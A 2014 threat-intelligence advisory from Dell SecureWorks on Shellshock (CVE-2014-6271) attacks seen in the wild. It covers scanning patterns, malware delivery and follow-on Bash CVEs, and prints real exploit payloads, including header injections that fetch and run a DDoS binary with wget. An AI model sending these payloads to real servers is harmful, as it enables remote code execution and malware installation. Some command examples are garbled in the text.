Shellshock Bash attacks on the Rise

On September 24, 2014, the Bash command injection vulnerability described by CVE-2014-6271 was publicly disclosed.

The Dell SecureWorks® Counter Threat Unit™ (CTU) research team released a set of countermeasures to its iSensor devices (Dell SecureWorks' proprietary Intrusion Protection/Detection systems) to address this vulnerability, as well as related vulnerabilities that were identified in the following days.

As of Monday, September 29, 2014, Dell SecureWorks iSensor devices repelled more than 140,000 scanning and exploit attempts. Based on telemetry provided by the countermeasures, CTU cyber threat intelligence researchers identified scanning patterns being used by threat actors and security researchers to identify vulnerable systems, as well as the origin of these patterns. Threat actors have also attempted to install malware on vulnerable systems.

Vulnerability scanning via pings

In this scanning method, an individual sends exploitation attempts to web servers that return a small amount of data back to a system controlled by the individual. These pings can confirm that the command executed successfully on the target system and that the target system is vulnerable. CTU researchers have observed two types of pings for this vulnerability:

• ICMP ping — In ICMP ping examples, the individual submits the following type of payload to a vulnerable device:

  GET /cgi-sys/defaultwebpage.cgi HTTP/1.0 User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138 Accept: */*

• UDP ping — To use the UDP network protocol to confirm that a target system is vulnerable to CVE-2014-6271, an individual sends an HTTP request with a header resembling the following: User-Agent: () { :;}; echo shellshock-scan > /dev/udp// <port> This method uses the 'udp' Bash keyword to send the 'shellshock-scan' text to the target system.

Vulnerability scanning via response modification

Individuals attempt to modify the content-type of the server response to determine if a target system is vulnerable. This approach is stealthier than pings because it does not generate network traffic aside from the existing TCP connection used to send the exploit.

GET / HTTP/1.1 User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo qQQQQQq Host: Accept: */*

Linux malware

CTU researchers have observed CVE-2014-6271 being exploited to deploy malicious software on vulnerable systems. Threat actors attempt remote command execution against vulnerable devices by injecting a 'wget' call within the Cookie, Host, and Referer HTTP headers:

GET / HTTP/1.0 User-Agent: Thanks-Rob Cookie:() { :; }; wget -O /tmp/besh http: // /nginx; chmod 777 /tmp/besh; /tmp/besh; Host:() { :; }; wget -O /tmp/besh http: // /nginx; chmod 777 /tmp/besh; /tmp/besh; Referer:() { :; }; wget -O /tmp/besh http: // /nginx; chmod 777 /tmp/besh; /tmp/besh; Accept: */*

If the exploit is successful, the command downloads and runs a malware binary. In a sample analyzed by CTU researchers, the dropped malware is a Linux-based distributed denial of service (DDoS) tool.

Sources of activity targeting Bash

Figure 1 shows the top sources of Bash scanning activity observed by the CTU research team. Approximately one fourth of the top scanning activity is from security researchers affiliated with Errata Security or from the Shodan search engine.

Figure 1. Origins of scanning activity. (Source: Dell SecureWorks)

Figure 2 shows the distribution of all sources targeting Bash (scanning and attempted attacks) observed by the CTU research team.

Figure 2. Heat map of all Bash command injection events observed by the CTU research team. (Source: Dell SecureWorks)

Secondary Bash vulnerabilities

After CVE-2014-6271 was publicly disclosed, patches for most Linux distributions were published. However, as described on the Shellshock Wikipedia page, five additional CVEs were subsequently assigned as a result of errors in the original patches, as well as new vulnerabilities that are not related to the command injection issue but which may lead to remote code execution:

• CVE-2014-6277 – As of this publication, details of this vulnerability are not publicly available.
• CVE-2014-6278 – As of this publication, details of this vulnerability are not publicly available.
• CVE-2014-7169 – Identified by Tavis Ormandy while investigating the original vulnerability, this additional weakness in the Bash parsing code does not result in a remote code execution scenario. The following proof-of-concept (PoC) command tests for vulnerability to this CVE:

  $ X='() { (a)=>\' bash -c "echo date" bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `"' bash: error importing function definition for `X' [root@ ec2-user]# cat echo Fri Sep 26 01:37:16 UTC 2014 A patched system would not create the file named "echo"" and would give an error: $ X='() { (a)=>\' bash -c "echo date" date $ cat echo cat: echo: No such file or directory 

• CVE-2014-7186 – Abuse of EOF file markers to execute Bash commands. The following command tests for vulnerability to this CVE. A vulnerable system will print "CVE-2014-7186 vulnerable, redir_stack" after executing the following command:

  bash -c 'true <eof'></eof'>

• CVE-2014-7187 – Abuse of Bash "done"" statements to execute Bash commands. A vulnerable system prints "CVE-2014-7187 vulnerable, word_lineno" after executing the following command:

  (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

Most Linux distributions have now patched four of the six vulnerabilities listed. The two remaining vulnerabilities are expected to be patched shortly. They are CVE-2014-6277 and CVE-2014-6278. MAC OS X Bash vulnerabilities were patched with the release of OS X bash Update 1.0.

Recommendations

First, users should determine if they have a vulnerable Linux or MAC OS X system within their environment. If so, CTU security intelligence researchers recommend that organizations install the latest patches to vulnerable systems immediately, apply any newly released patches, and use available controls to restrict access using the indicators in Table 1. The IP addresses and URLs in the indicators table may contain malicious content, so consider the risks before opening them in a browser.

Table 1. Indicators for this threat.